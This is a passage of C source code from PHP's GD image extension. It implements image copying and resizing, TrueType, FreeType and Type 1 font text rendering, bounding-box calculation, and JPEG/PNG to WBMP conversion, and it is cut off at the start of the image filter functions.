proto bool imagecopy(resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h) Copy part of an image */ PHP_FUNCTION(imagecopy) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY; gdImagePtr im_dst, im_src; int srcH, srcW, srcY, srcX, dstY, dstX; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &SW, &SH) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; gdImageCopy(im_dst, im_src, dstX, dstY, srcX, srcY, srcW, srcH); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagecopymerge(resource src_im, resource dst_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h, int pct) Merge one part of an image with another */ PHP_FUNCTION(imagecopymerge) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY, PCT; gdImagePtr im_dst, im_src; int srcH, srcW, srcY, srcX, dstY, dstX, pct; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrlllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &SW, &SH, &PCT) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; pct = PCT; gdImageCopyMerge(im_dst, im_src, dstX, dstY, srcX, srcY, srcW, srcH, pct); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagecopymergegray(resource src_im, resource dst_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h, int pct) Merge one part of an image with another */ PHP_FUNCTION(imagecopymergegray) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY, PCT; gdImagePtr im_dst, im_src; int srcH, srcW, srcY, srcX, dstY, dstX, pct; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrlllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &SW, &SH, &PCT) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; pct = PCT; gdImageCopyMergeGray(im_dst, im_src, dstX, dstY, srcX, srcY, srcW, srcH, pct); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagecopyresized(resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h) Copy and resize part of an image */ PHP_FUNCTION(imagecopyresized) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY, DW, DH; gdImagePtr im_dst, im_src; int srcH, srcW, dstH, dstW, srcY, srcX, dstY, dstX; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrllllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &DW, &DH, &SW, &SH) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; dstH = DH; dstW = DW; if (dstW <= 0 || dstH <= 0 || srcW <= 0 || srcH <= 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid image dimensions"); RETURN_FALSE; } gdImageCopyResized(im_dst, im_src, dstX, dstY, srcX, srcY, dstW, dstH, srcW, srcH); RETURN_TRUE; } /* }}} */ /* {{{ proto int imagesx(resource im) Get image width */ PHP_FUNCTION(imagesx) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageSX(im)); } /* }}} */ /* {{{ proto int imagesy(resource im) Get image height */ PHP_FUNCTION(imagesy) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageSY(im)); } /* }}} */ #ifdef ENABLE_GD_TTF #define TTFTEXT_DRAW 0 #define TTFTEXT_BBOX 1 #endif #ifdef ENABLE_GD_TTF #if HAVE_GD_FREETYPE && HAVE_LIBFREETYPE /* {{{ proto array imageftbbox(float size, float angle, string font_file, string text [, array extrainfo]) Give the bounding box of a text using fonts via freetype2 */ PHP_FUNCTION(imageftbbox) { php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_BBOX, 1); } /* }}} */ /* {{{ proto array imagefttext(resource im, float size, float angle, int x, int y, int col, string font_file, string text [, array extrainfo]) Write text to the image using fonts via freetype2 */ PHP_FUNCTION(imagefttext) { php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_DRAW, 1); } /* }}} */ #endif /* HAVE_GD_FREETYPE && HAVE_LIBFREETYPE */ /* {{{ proto array imagettfbbox(float size, float angle, string font_file, string text) Give the bounding box of a text using TrueType fonts */ PHP_FUNCTION(imagettfbbox) { php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_BBOX, 0); } /* }}} */ /* {{{ proto array imagettftext(resource im, float size, float angle, int x, int y, int col, string font_file, string text) Write text to the image using a TrueType font */ PHP_FUNCTION(imagettftext) { php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_DRAW, 0); } /* }}} */ /* {{{ php_imagettftext_common */ static void php_imagettftext_common(INTERNAL_FUNCTION_PARAMETERS, int mode, int extended) { zval *IM, *EXT = NULL; gdImagePtr im=NULL; long col = -1, x = -1, y = -1; int str_len, fontname_len, i, brect[8]; double ptsize, angle; char *str = NULL, *fontname = NULL; char *error = NULL; int argc = ZEND_NUM_ARGS(); gdFTStringExtra strex = {0}; if (mode == TTFTEXT_BBOX) { if (argc < 4 || argc > ((extended) ? 5 : 4)) { ZEND_WRONG_PARAM_COUNT(); } else if (zend_parse_parameters(argc TSRMLS_CC, "ddss|a", &ptsize, &angle, &fontname, &fontname_len, &str, &str_len, &EXT) == FAILURE) { RETURN_FALSE; } } else { if (argc < 8 || argc > ((extended) ? 9 : 8)) { ZEND_WRONG_PARAM_COUNT(); } else if (zend_parse_parameters(argc TSRMLS_CC, "rddlllss|a", &IM, &ptsize, &angle, &x, &y, &col, &fontname, &fontname_len, &str, &str_len, &EXT) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); } /* convert angle to radians */ angle = angle * (M_PI/180); if (extended && EXT) { /* parse extended info */ HashPosition pos; /* walk the assoc array */ zend_hash_internal_pointer_reset_ex(HASH_OF(EXT), &pos); do { zval ** item; char * key; ulong num_key; if (zend_hash_get_current_key_ex(HASH_OF(EXT), &key, NULL, &num_key, 0, &pos) != HASH_KEY_IS_STRING) { continue; } if (zend_hash_get_current_data_ex(HASH_OF(EXT), (void **) &item, &pos) == FAILURE) { continue; } if (strcmp("linespacing", key) == 0) { convert_to_double_ex(item); strex.flags |= gdFTEX_LINESPACE; strex.linespacing = Z_DVAL_PP(item); } } while (zend_hash_move_forward_ex(HASH_OF(EXT), &pos) == SUCCESS); } #ifdef VIRTUAL_DIR { char tmp_font_path[MAXPATHLEN]; if (!VCWD_REALPATH(fontname, tmp_font_path)) { fontname = NULL; } } #endif /* VIRTUAL_DIR */ PHP_GD_CHECK_OPEN_BASEDIR(fontname, "Invalid font filename"); #ifdef HAVE_GD_FREETYPE if (extended) { error = gdImageStringFTEx(im, brect, col, fontname, ptsize, angle, x, y, str, &strex); } else error = gdImageStringFT(im, brect, col, fontname, ptsize, angle, x, y, str); #endif /* HAVE_GD_FREETYPE */ if (error) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", error); RETURN_FALSE; } array_init(return_value); /* return array with the text's bounding box */ for (i = 0; i < 8; i++) { add_next_index_long(return_value, brect[i]); } } /* }}} */ #endif /* ENABLE_GD_TTF */ #if HAVE_LIBT1 /* {{{ php_free_ps_font */ static void php_free_ps_font(zend_rsrc_list_entry *rsrc TSRMLS_DC) { int *font = (int *) rsrc->ptr; T1_DeleteFont(*font); efree(font); } /* }}} */ /* {{{ php_free_ps_enc */ static void php_free_ps_enc(zend_rsrc_list_entry *rsrc TSRMLS_DC) { char **enc = (char **) rsrc->ptr; T1_DeleteEncoding(enc); } /* }}} */ /* {{{ proto resource imagepsloadfont(string pathname) Load a new font from specified file */ PHP_FUNCTION(imagepsloadfont) { char *file; int file_len, f_ind, *font; #ifdef PHP_WIN32 struct stat st; #endif if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "p", &file, &file_len) == FAILURE) { return; } #ifdef PHP_WIN32 if (VCWD_STAT(file, &st) < 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Font file not found (%s)", file); RETURN_FALSE; } #endif f_ind = T1_AddFont(file); if (f_ind < 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "T1Lib Error (%i): %s", f_ind, T1_StrError(f_ind)); RETURN_FALSE; } if (T1_LoadFont(f_ind)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Couldn't load the font"); RETURN_FALSE; } font = (int *) emalloc(sizeof(int)); *font = f_ind; ZEND_REGISTER_RESOURCE(return_value, font, le_ps_font); } /* }}} */ /* {{{ proto int imagepscopyfont(int font_index) Make a copy of a font for purposes like extending or reenconding */ /* The function in t1lib which this function uses seem to be buggy... PHP_FUNCTION(imagepscopyfont) { int l_ind, type; gd_ps_font *nf_ind, *of_ind; long fnt; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &fnt) == FAILURE) { return; } of_ind = zend_list_find(fnt, &type); if (type != le_ps_font) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "%ld is not a Type 1 font index", fnt); RETURN_FALSE; } nf_ind = emalloc(sizeof(gd_ps_font)); nf_ind->font_id = T1_CopyFont(of_ind->font_id); if (nf_ind->font_id < 0) { l_ind = nf_ind->font_id; efree(nf_ind); switch (l_ind) { case -1: php_error_docref(NULL TSRMLS_CC, E_WARNING, "FontID %d is not loaded in memory", l_ind); RETURN_FALSE; break; case -2: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tried to copy a logical font"); RETURN_FALSE; break; case -3: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Memory allocation fault in t1lib"); RETURN_FALSE; break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "An unknown error occurred in t1lib"); RETURN_FALSE; break; } } nf_ind->extend = 1; l_ind = zend_list_insert(nf_ind, le_ps_font TSRMLS_CC); RETURN_LONG(l_ind); } */ /* }}} */ /* {{{ proto bool imagepsfreefont(resource font_index) Free memory used by a font */ PHP_FUNCTION(imagepsfreefont) { zval *fnt; int *f_ind; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &fnt) == FAILURE) { return; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); zend_list_delete(Z_LVAL_P(fnt)); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagepsencodefont(resource font_index, string filename) To change a fonts character encoding vector */ PHP_FUNCTION(imagepsencodefont) { zval *fnt; char *enc, **enc_vector; int enc_len, *f_ind; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rp", &fnt, &enc, &enc_len) == FAILURE) { return; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); if ((enc_vector = T1_LoadEncoding(enc)) == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Couldn't load encoding vector from %s", enc); RETURN_FALSE; } T1_DeleteAllSizes(*f_ind); if (T1_ReencodeFont(*f_ind, enc_vector)) { T1_DeleteEncoding(enc_vector); php_error_docref(NULL TSRMLS_CC, E_WARNING, "Couldn't re-encode font"); RETURN_FALSE; } zend_list_insert(enc_vector, le_ps_enc TSRMLS_CC); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagepsextendfont(resource font_index, float extend) Extend or or condense (if extend < 1) a font */ PHP_FUNCTION(imagepsextendfont) { zval *fnt; double ext; int *f_ind; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rd", &fnt, &ext) == FAILURE) { return; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); T1_DeleteAllSizes(*f_ind); if (ext <= 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Second parameter %F out of range (must be > 0)", ext); RETURN_FALSE; } if (T1_ExtendFont(*f_ind, ext) != 0) { RETURN_FALSE; } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagepsslantfont(resource font_index, float slant) Slant a font */ PHP_FUNCTION(imagepsslantfont) { zval *fnt; double slt; int *f_ind; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rd", &fnt, &slt) == FAILURE) { return; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); if (T1_SlantFont(*f_ind, slt) != 0) { RETURN_FALSE; } RETURN_TRUE; } /* }}} */ /* {{{ proto array imagepstext(resource image, string text, resource font, int size, int foreground, int background, int xcoord, int ycoord [, int space [, int tightness [, float angle [, int antialias]) Rasterize a string over an image */ PHP_FUNCTION(imagepstext) { zval *img, *fnt; int i, j; long _fg, _bg, x, y, size, space = 0, aa_steps = 4, width = 0; int *f_ind; int h_lines, v_lines, c_ind; int rd, gr, bl, fg_rd, fg_gr, fg_bl, bg_rd, bg_gr, bg_bl; int fg_al, bg_al, al; int aa[16]; int amount_kern, add_width; double angle = 0.0, extend; unsigned long aa_greys[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16}; gdImagePtr bg_img; GLYPH *str_img; T1_OUTLINE *char_path, *str_path; T1_TMATRIX *transform = NULL; char *str; int str_len; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rsrlllll|lldl", &img, &str, &str_len, &fnt, &size, &_fg, &_bg, &x, &y, &space, &width, &angle, &aa_steps) == FAILURE) { return; } if (aa_steps != 4 && aa_steps != 16) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Antialias steps must be 4 or 16"); RETURN_FALSE; } ZEND_FETCH_RESOURCE(bg_img, gdImagePtr, &img, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); /* Ensure that the provided colors are valid */ if (_fg < 0 || (!gdImageTrueColor(bg_img) && _fg > gdImageColorsTotal(bg_img))) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Foreground color index %ld out of range", _fg); RETURN_FALSE; } if (_bg < 0 || (!gdImageTrueColor(bg_img) && _fg > gdImageColorsTotal(bg_img))) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Background color index %ld out of range", _bg); RETURN_FALSE; } fg_rd = gdImageRed (bg_img, _fg); fg_gr = gdImageGreen(bg_img, _fg); fg_bl = gdImageBlue (bg_img, _fg); fg_al = gdImageAlpha(bg_img, _fg); bg_rd = gdImageRed (bg_img, _bg); bg_gr = gdImageGreen(bg_img, _bg); bg_bl = gdImageBlue (bg_img, _bg); bg_al = gdImageAlpha(bg_img, _bg); for (i = 0; i < aa_steps; i++) { rd = bg_rd + (double) (fg_rd - bg_rd) / aa_steps * (i + 1); gr = bg_gr + (double) (fg_gr - bg_gr) / aa_steps * (i + 1); bl = bg_bl + (double) (fg_bl - bg_bl) / aa_steps * (i + 1); al = bg_al + (double) (fg_al - bg_al) / aa_steps * (i + 1); aa[i] = gdImageColorResolveAlpha(bg_img, rd, gr, bl, al); } T1_AASetBitsPerPixel(8); switch (aa_steps) { case 4: T1_AASetGrayValues(0, 1, 2, 3, 4); T1_AASetLevel(T1_AA_LOW); break; case 16: T1_AAHSetGrayValues(aa_greys); T1_AASetLevel(T1_AA_HIGH); break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid value %ld as number of steps for antialiasing", aa_steps); RETURN_FALSE; } if (angle) { transform = T1_RotateMatrix(NULL, angle); } if (width) { extend = T1_GetExtend(*f_ind); str_path = T1_GetCharOutline(*f_ind, str[0], size, transform); if (!str_path) { if (T1_errno) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "T1Lib Error: %s", T1_StrError(T1_errno)); } RETURN_FALSE; } for (i = 1; i < str_len; i++) { amount_kern = (int) T1_GetKerning(*f_ind, str[i - 1], str[i]); amount_kern += str[i - 1] == ' ' ? space : 0; add_width = (int) (amount_kern + width) / extend; char_path = T1_GetMoveOutline(*f_ind, add_width, 0, 0, size, transform); str_path = T1_ConcatOutlines(str_path, char_path); char_path = T1_GetCharOutline(*f_ind, str[i], size, transform); str_path = T1_ConcatOutlines(str_path, char_path); } str_img = T1_AAFillOutline(str_path, 0); } else { str_img = T1_AASetString(*f_ind, str, str_len, space, T1_KERNING, size, transform); } if (T1_errno) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "T1Lib Error: %s", T1_StrError(T1_errno)); RETURN_FALSE; } h_lines = str_img->metrics.ascent - str_img->metrics.descent; v_lines = str_img->metrics.rightSideBearing - str_img->metrics.leftSideBearing; for (i = 0; i < v_lines; i++) { for (j = 0; j < h_lines; j++) { switch (str_img->bits[j * v_lines + i]) { case 0: break; default: c_ind = aa[str_img->bits[j * v_lines + i] - 1]; gdImageSetPixel(bg_img, x + str_img->metrics.leftSideBearing + i, y - str_img->metrics.ascent + j, c_ind); break; } } } array_init(return_value); add_next_index_long(return_value, str_img->metrics.leftSideBearing); add_next_index_long(return_value, str_img->metrics.descent); add_next_index_long(return_value, str_img->metrics.rightSideBearing); add_next_index_long(return_value, str_img->metrics.ascent); } /* }}} */ /* {{{ proto array imagepsbbox(string text, resource font, int size [, int space, int tightness, float angle]) Return the bounding box needed by a string if rasterized */ PHP_FUNCTION(imagepsbbox) { zval *fnt; long sz = 0, sp = 0, wd = 0; char *str; int i, space = 0, add_width = 0, char_width, amount_kern; int cur_x, cur_y, dx, dy; int x1, y1, x2, y2, x3, y3, x4, y4; int *f_ind; int str_len, per_char = 0; int argc = ZEND_NUM_ARGS(); double angle = 0, sin_a = 0, cos_a = 0; BBox char_bbox, str_bbox = {0, 0, 0, 0}; if (argc != 3 && argc != 6) { ZEND_WRONG_PARAM_COUNT(); } if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "srl|lld", &str, &str_len, &fnt, &sz, &sp, &wd, &angle) == FAILURE) { return; } if (argc == 6) { space = sp; add_width = wd; angle = angle * M_PI / 180; sin_a = sin(angle); cos_a = cos(angle); per_char = add_width || angle ? 1 : 0; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); #define max(a, b) (a > b ? a : b) #define min(a, b) (a < b ? a : b) #define new_x(a, b) (int) ((a) * cos_a - (b) * sin_a) #define new_y(a, b) (int) ((a) * sin_a + (b) * cos_a) if (per_char) { space += T1_GetCharWidth(*f_ind, ' '); cur_x = cur_y = 0; for (i = 0; i < str_len; i++) { if (str[i] == ' ') { char_bbox.llx = char_bbox.lly = char_bbox.ury = 0; char_bbox.urx = char_width = space; } else { char_bbox = T1_GetCharBBox(*f_ind, str[i]); char_width = T1_GetCharWidth(*f_ind, str[i]); } amount_kern = i ? T1_GetKerning(*f_ind, str[i - 1], str[i]) : 0; /* Transfer character bounding box to right place */ x1 = new_x(char_bbox.llx, char_bbox.lly) + cur_x; y1 = new_y(char_bbox.llx, char_bbox.lly) + cur_y; x2 = new_x(char_bbox.llx, char_bbox.ury) + cur_x; y2 = new_y(char_bbox.llx, char_bbox.ury) + cur_y; x3 = new_x(char_bbox.urx, char_bbox.ury) + cur_x; y3 = new_y(char_bbox.urx, char_bbox.ury) + cur_y; x4 = new_x(char_bbox.urx, char_bbox.lly) + cur_x; y4 = new_y(char_bbox.urx, char_bbox.lly) + cur_y; /* Find min & max values and compare them with current bounding box */ str_bbox.llx = min(str_bbox.llx, min(x1, min(x2, min(x3, x4)))); str_bbox.lly = min(str_bbox.lly, min(y1, min(y2, min(y3, y4)))); str_bbox.urx = max(str_bbox.urx, max(x1, max(x2, max(x3, x4)))); str_bbox.ury = max(str_bbox.ury, max(y1, max(y2, max(y3, y4)))); /* Move to the next base point */ dx = new_x(char_width + add_width + amount_kern, 0); dy = new_y(char_width + add_width + amount_kern, 0); cur_x += dx; cur_y += dy; /* printf("%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\n", x1, y1, x2, y2, x3, y3, x4, y4, char_bbox.llx, char_bbox.lly, char_bbox.urx, char_bbox.ury, char_width, amount_kern, cur_x, cur_y, dx, dy); */ } } else { str_bbox = T1_GetStringBBox(*f_ind, str, str_len, space, T1_KERNING); } if (T1_errno) { RETURN_FALSE; } array_init(return_value); /* printf("%d %d %d %d\n", str_bbox.llx, str_bbox.lly, str_bbox.urx, str_bbox.ury); */ add_next_index_long(return_value, (int) ceil(((double) str_bbox.llx)*sz/1000)); add_next_index_long(return_value, (int) ceil(((double) str_bbox.lly)*sz/1000)); add_next_index_long(return_value, (int) ceil(((double) str_bbox.urx)*sz/1000)); add_next_index_long(return_value, (int) ceil(((double) str_bbox.ury)*sz/1000)); } /* }}} */ #endif /* {{{ proto bool image2wbmp(resource im [, string filename [, int threshold]]) Output WBMP image to browser or file */ PHP_FUNCTION(image2wbmp) { _php_image_output(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_CONVERT_WBM, "WBMP", _php_image_bw_convert); } /* }}} */ #if defined(HAVE_GD_JPG) /* {{{ proto bool jpeg2wbmp (string f_org, string f_dest, int d_height, int d_width, int threshold) Convert JPEG image to WBMP image */ PHP_FUNCTION(jpeg2wbmp) { _php_image_convert(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_JPG); } /* }}} */ #endif #if defined(HAVE_GD_PNG) /* {{{ proto bool png2wbmp (string f_org, string f_dest, int d_height, int d_width, int threshold) Convert PNG image to WBMP image */ PHP_FUNCTION(png2wbmp) { _php_image_convert(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_PNG); } /* }}} */ #endif /* {{{ _php_image_bw_convert * It converts a gd Image to bw using a threshold value */ static void _php_image_bw_convert(gdImagePtr im_org, gdIOCtx *out, int threshold) { gdImagePtr im_dest; int white, black; int color, color_org, median; int dest_height = gdImageSY(im_org); int dest_width = gdImageSX(im_org); int x, y; TSRMLS_FETCH(); im_dest = gdImageCreate(dest_width, dest_height); if (im_dest == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate temporary buffer"); return; } white = gdImageColorAllocate(im_dest, 255, 255, 255); if (white == -1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate the colors for the destination buffer"); return; } black = gdImageColorAllocate(im_dest, 0, 0, 0); if (black == -1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate the colors for the destination buffer"); return; } if (im_org->trueColor) { gdImageTrueColorToPalette(im_org, 1, 256); } for (y = 0; y < dest_height; y++) { for (x = 0; x < dest_width; x++) { color_org = gdImageGetPixel(im_org, x, y); median = (im_org->red[color_org] + im_org->green[color_org] + im_org->blue[color_org]) / 3; if (median < threshold) { color = black; } else { color = white; } gdImageSetPixel (im_dest, x, y, color); } } gdImageWBMPCtx (im_dest, black, out); } /* }}} */ /* {{{ _php_image_convert * _php_image_convert converts jpeg/png images to wbmp and resizes them as needed */ static void _php_image_convert(INTERNAL_FUNCTION_PARAMETERS, int image_type ) { char *f_org, *f_dest; int f_org_len, f_dest_len; long height, width, threshold; gdImagePtr im_org, im_dest, im_tmp; char *fn_org = NULL; char *fn_dest = NULL; FILE *org, *dest; int dest_height = -1; int dest_width = -1; int org_height, org_width; int white, black; int color, color_org, median; int int_threshold; int x, y; float x_ratio, y_ratio; long ignore_warning; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "pplll", &f_org, &f_org_len, &f_dest, &f_dest_len, &height, &width, &threshold) == FAILURE) { return; } fn_org = f_org; fn_dest = f_dest; dest_height = height; dest_width = width; int_threshold = threshold; /* Check threshold value */ if (int_threshold < 0 || int_threshold > 8) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid threshold value '%d'", int_threshold); RETURN_FALSE; } /* Check origin file */ PHP_GD_CHECK_OPEN_BASEDIR(fn_org, "Invalid origin filename"); /* Check destination file */ PHP_GD_CHECK_OPEN_BASEDIR(fn_dest, "Invalid destination filename"); /* Open origin file */ org = VCWD_FOPEN(fn_org, "rb"); if (!org) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' for reading", fn_org); RETURN_FALSE; } /* Open destination file */ dest = VCWD_FOPEN(fn_dest, "wb"); if (!dest) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' for writing", fn_dest); RETURN_FALSE; } switch (image_type) { case PHP_GDIMG_TYPE_GIF: im_org = gdImageCreateFromGif(org); if (im_org == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' Not a valid GIF file", fn_dest); RETURN_FALSE; } break; #ifdef HAVE_GD_JPG case PHP_GDIMG_TYPE_JPG: ignore_warning = INI_INT("gd.jpeg_ignore_warning"); im_org = gdImageCreateFromJpegEx(org, ignore_warning); if (im_org == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' Not a valid JPEG file", fn_dest); RETURN_FALSE; } break; #endif /* HAVE_GD_JPG */ #ifdef HAVE_GD_PNG case PHP_GDIMG_TYPE_PNG: im_org = gdImageCreateFromPng(org); if (im_org == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' Not a valid PNG file", fn_dest); RETURN_FALSE; } break; #endif /* HAVE_GD_PNG */ default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Format not supported"); RETURN_FALSE; break; } org_width = gdImageSX (im_org); org_height = gdImageSY (im_org); x_ratio = (float) org_width / (float) dest_width; y_ratio = (float) org_height / (float) dest_height; if (x_ratio > 1 && y_ratio > 1) { if (y_ratio > x_ratio) { x_ratio = y_ratio; } else { y_ratio = x_ratio; } dest_width = (int) (org_width / x_ratio); dest_height = (int) (org_height / y_ratio); } else { x_ratio = (float) dest_width / (float) org_width; y_ratio = (float) dest_height / (float) org_height; if (y_ratio < x_ratio) { x_ratio = y_ratio; } else { y_ratio = x_ratio; } dest_width = (int) (org_width * x_ratio); dest_height = (int) (org_height * y_ratio); } im_tmp = gdImageCreate (dest_width, dest_height); if (im_tmp == NULL ) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate temporary buffer"); RETURN_FALSE; } gdImageCopyResized (im_tmp, im_org, 0, 0, 0, 0, dest_width, dest_height, org_width, org_height); gdImageDestroy(im_org); fclose(org); im_dest = gdImageCreate(dest_width, dest_height); if (im_dest == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate destination buffer"); RETURN_FALSE; } white = gdImageColorAllocate(im_dest, 255, 255, 255); if (white == -1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate the colors for the destination buffer"); RETURN_FALSE; } black = gdImageColorAllocate(im_dest, 0, 0, 0); if (black == -1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate the colors for the destination buffer"); RETURN_FALSE; } int_threshold = int_threshold * 32; for (y = 0; y < dest_height; y++) { for (x = 0; x < dest_width; x++) { color_org = gdImageGetPixel (im_tmp, x, y); median = (im_tmp->red[color_org] + im_tmp->green[color_org] + im_tmp->blue[color_org]) / 3; if (median < int_threshold) { color = black; } else { color = white; } gdImageSetPixel (im_dest, x, y, color); } } gdImageDestroy (im_tmp ); gdImageWBMP(im_dest, black , dest); fflush(dest); fclose(dest); gdImageDestroy(im_dest); RETURN_TRUE; } /* }}} */ /* Section Filters */ #define PHP_GD_SINGLE_RES \ zval *SIM; \ gdImagePtr im_src; \ if (zend_parse_parameters(1 TSRMLS_CC, "r", &SIM) == FAILURE) { \ RETURN_FALSE; \ } \ ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); \ if (im_src == NULL) { \ RETURN_FALSE; \ } static void php_image_filter_negate(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageNegate(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_grayscale(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageGrayScale(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_brightness(INTERNAL_FUNCTION_PARAMETERS) { zval *SIM; gdImagePtr im_src; long brightness, tmp; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "zll", &SIM, &tmp, &brightness) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); if (im_src == NULL) { 